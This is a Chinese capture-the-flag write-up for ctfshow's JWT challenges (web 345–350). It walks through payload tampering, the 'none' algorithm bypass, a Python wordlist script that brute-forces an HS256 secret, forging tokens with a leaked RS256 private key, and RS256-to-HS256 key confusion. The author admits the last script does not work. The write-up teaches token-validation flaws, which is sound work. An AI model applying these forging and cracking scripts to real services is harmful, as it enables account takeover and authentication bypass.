ctfshow——JWT

文章目录

  • web 345
  • web 346——算法改为None
  • web 347-348——爆破密匙
  • web 349——非对称加密算法RS256私钥泄漏
  • web 350——泄漏公钥、非对称密码算法改为对称密码算法

web 345

抓个包,可以看到cookie部分使用JWT(Json Web Token)。
在这里插入图片描述

JWT实际上是一个字符串,由三部分构成:HeaderPaylaodSignature,各部分之间分别用Base64编码以后用.进行拼接。

  • Header部分主要承载两部分的信息:声明类型(JWT类型);声明加密算法,一般是RS256(非对称加密)和HS256(对称加密);
  • Payload部分主要包含服务器所需的信息,如
    • iss (issuer):签发人
    • exp (expiration time):过期时间
    • sub (subject):主题
    • aud (audience):受众
    • nbf (Not Before):生效时间
    • iat (Issued At):签发时间
    • jti (JWT ID):编号
  • Signature部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。base64UrlEncode就是base64编码。
    // javascript
    var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
    var signature = HMACSHA256(encodedString, 'secret');
    

先用base64将JWT进行解密,修改user为admin,再用base64进行加密。再访问https://2be66481-e498-479d-8e2f-5f899b4f227a.challenge.ctf.show/admin/
在这里插入图片描述

web 346——算法改为None

在这里插入图片描述
这里使用了HS256加密方式,方法:alg字段改为none,sub改为admin,对每一段分别用base64进行加密,然后用.拼接起来,注意最后一个点不能少

在这里插入图片描述

web 347-348——爆破密匙

都可以用jwt-cracker进行爆破,获取密匙。或者用脚本跑。
在这里插入图片描述

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyNDA3NiwiZXhwIjoxNjY3ODMxMjc2LCJuYmYiOjE2Njc4MjQwNzYsInN1YiI6InVzZXIiLCJqdGkiOiJjMDlkNDc4M2U0NzhkZWI5ZDAyOTI2ZGI5OThhNTJkYiJ9.qGhObQujOnXKBkb8IM2_uLroZZRgY6Voty_-vPQUqUM" # 题目中的 token
password_file = "/Users/meng/password.txt" # 密码文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip() # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

web 349——非对称加密算法RS256私钥泄漏

根据app.js提示,大致意思就是访问https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d,服务器会使用RS256算法私钥加密一段字符串作为cookie(私钥用来签名),然后发给客户端。客户端拿着服务端给的cookie再次访问服务端,服务端会使用RS256公钥进行解密(公钥验签
在这里插入图片描述
先访问/private.key,下载私钥,然后使用下面的脚本生成一个JWT。

import jwt
private = open('E://private.key', 'r').read()
header = {
    "alg": "RS256",
    "typ": "JWT"
}
payload={
    "user":"admin",
    "iat": 1714555712
}
token = jwt.encode(
    payload=payload,
    key=private, # 密钥
    algorithm="RS256", # 加密方式
    headers=header
)
print(token)

注意:payload的相关参数,可以先解密服务器发的JWT,再自行补充。

再使用POST方法请求https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d
在这里插入图片描述

web 350——泄漏公钥、非对称密码算法改为对称密码算法

如果公钥泄露,服务端不对加密算法进行验证的话,通过公钥和改算法类型,也可以伪造JWT。

import jwt
private = open('E://private.key', 'r').read()
header = {
    "alg": "HS256",
    "typ": "JWT"
}
payload={
    "user":"admin",
    "iat": 1714555712
}
token = jwt.encode(
    payload=payload,
    key=private, # 密钥
    algorithm="HS256", # 加密方式
    headers=header
)
print(token)

python生成的JWT,用不了,但是思路就是这样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/587139.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Django后台项目开发实战一

开发环境使用 Anaconda, IDE 使用 pycharm 第一阶段 创建 Django 项目 在 Anaconda Prompt 中逐步输入下面的命令(之后的所有命令都在这个) 首先创建一个虚拟环境,名称自拟,python 版本我这里使用 3.9.18 关于 python 版本和…

STM32中断之TIM定时器详解

系列文章目录 STM32单片机系列专栏 C语言术语和结构总结专栏 文章目录 1. TIM简述 2. 定时器类型 2.1 基本定时器 2.2 通用定时器 2.3 高级定时器 3. 定时中断 4. 代码示例1 5. 代码示例2 1. TIM简述 定时器的基本功能:定时器可以在预定的时间间隔内产生周…

经典机器学习法---感知模型机

优质博文:IT-BLOG-CN 1、模型形式 感知机模型主要用于解决二分类问题,即响应变量Y是个二分类变量(如性别)。其基本思想是拟找出一个超平面S,将样本空间中的训练集分为两个部分,使得位于超平面S合一侧的点具…

启发式搜索算法4 -遗传算法实战:吊死鬼游戏

相关文章: 启发式搜索算法1 – 最佳优先搜索算法 启发式搜索算法2 – A*算法 启发式搜索算法2 – 遗传算法 有一个小游戏叫吊死鬼游戏(hangman),在学习英语的时候,大家有可能在课堂上玩过。老师给定一个英文单词,同学们…

2024深圳杯数学建模竞赛A题(东三省数学建模竞赛A题):建立火箭残骸音爆多源定位模型

更新完整代码和成品完整论文 《2024深圳杯&东三省数学建模思路代码成品论文》↓↓↓(浏览器打开) https://www.yuque.com/u42168770/qv6z0d/zx70edxvbv7rheu7?singleDoc# 2024深圳杯数学建模竞赛A题(东三省数学建模竞赛A题&#xff0…

前端性能优化知识梳理

1.重要性 当我们面试的时候,前端性能优化方面算是必考的知识点,但是工作中我们又很少会重点的对项目进行前端优化,它真的不重要吗? 如果我们可以将后端响应时间缩短一半,整体响应时间只能减少5%~10%。而如果关注前端…

手把手实现一个简约酷美美的版权声明模块

1. 导语 版权声明在很多网站都有用到,出场率还是很高的。所以今天就实现一个属于自己分风格的版权声明模块,技术上采用原生的前端三剑客: HTMLCSSJavaScript(可能会用到) 比如CSDN的版权声明是这样的 2. 需求分析 先看看成品吧,这篇文字结…

翻译: 什么是ChatGPT 通过图形化的方式来理解 Transformer 架构 深度学习一

合集 ChatGPT 通过图形化的方式来理解 Transformer 架构 翻译: 什么是ChatGPT 通过图形化的方式来理解 Transformer 架构 深度学习一翻译: 什么是ChatGPT 通过图形化的方式来理解 Transformer 架构 深度学习二翻译: 什么是ChatGPT 通过图形化的方式来理解 Transformer 架构 深…

强网杯 2019]随便注解题方式

先来看题 这里只有一个提交,那我们就先提交看看情况找找思路 这里提交以后发现也没有什么有用的信息 这样我们只能根据我们的经验先试试 输入1发现有报错 有报错信息就可以试试报错注入了,但是这种ctf题通常会有限制字符所以我使用 1 select 1,2# 来…

c#数据库: 4.修改学生成绩

将4年级的学生成绩全部修改为100分,。修改前的学生信息表如图所示: using System; using System.Collections.Generic; using System.Data.SqlClient; using System.Linq; using System.Text; using System.Threading.Tasks;namespace StudentUpdate {internal class Program{s…

Apache SeaTunnel k8s 集群模式 Zeta 引擎部署指南

SeaTunnel提供了一种运行Zeta引擎(cluster-mode)的方法,可以让Kubernetes在本地运行Zeta引擎,实现更高效的应用程序部署和管理。在本文中,我们将探索SeaTunnel k8s运行zeta引擎(cluster-mode模式)的更多信息,了解如何更好地利用Ze…

JavaScript基础(二)

JS语法结构——引入方式 js很明显可以是一个后缀名为js的文件&#xff0c;js的引入方式和css一样&#xff0c;也有三种方式。 1.外部 使用script表现&#xff0c;只不过增加一个src属性&#xff0c;把js文件的路径src属性中。 <script src "js文件路径">&l…

h5+Vant左滑删除

介绍&#xff1a;这是一个上拉加载下拉刷新的列表&#xff0c;外加左滑删除。废话不多说&#xff0c;直接上代码&#xff01;&#xff01;&#xff01;&#xff01; <template><div class"info-list"><div class"top-bar"><van-nav-…

深入解析Floyd Warshall算法:原理、Java实现与优缺点

Floyd Warshall算法的简介 在我们的日常生活中&#xff0c;常常会遇到需要找出两点之间最短路径的问题。比如&#xff0c;从家到公司的最短路线&#xff0c;或者在旅行时&#xff0c;从一个景点到另一个景点的最快路线。 为了解决这类问题&#xff0c;科学家们设计出了许多算法…

利用大型语言模型提升数字产品创新:提示,微调,检索增强生成和代理的应用

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

code-server容器webpack的ws无法连接解决方法

TLDR 通过指定client的wsrul去连接ws devServer.client.webSocketURL ‘wss://<Forwarded uri>/ws’ 拓扑 1、code-server: 用于编写代码、启动webpack dev-server 服务&#xff1b;[https://<domain>:8001] 2、webpack: 用于浏览dev-server服务&#xff1b;[ht…

spring-boot示例

spring-boot版本&#xff1a;2.0.3.RELEASE 数据库: H2数据库 &#xff08;嵌入式内存性数据库&#xff0c;安装简单&#xff0c;方便用于开发、测试&#xff0c;不适合用于生产&#xff09; mybatis-plus框架&#xff0c;非常迅速开发CRUD

如何去掉引用网址的小尾巴

引用文章的链接时会出现很长冗余信息&#xff0c;删&#xff0c;删&#xff0c;删……&#xff0c;直到从平流层删到地平线 使用 Neat URL&#xff08;支持 google 系、Firefox&#xff09;扩展中的【拦截参数】可以去除的这类百无聊赖的小尾巴。 安装后&#xff0c;点击【Pr…

C语言——单链表实现数据增删查改

一.前言 嗨嗨嗨&#xff0c;我们又见面了。前面我们已经学习了关于数据结构中的顺序表&#xff0c;今天我们来学习数据结构中的单链表。废话不多说让我们直接开始吧。 二.正文 1.1链表的概念 链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺…

【C#】基础知识

0.参考 C#语言入门详解 1.几种打印hello_world的方式 1.1 console控制台 新建一个console&#xff0c;直接打印&#xff1a; Console.WriteLine("Hello_world");启动一闪而过&#xff0c;在vs调试中选择开始执行不调试&#xff08;without debug&#xff09;。 …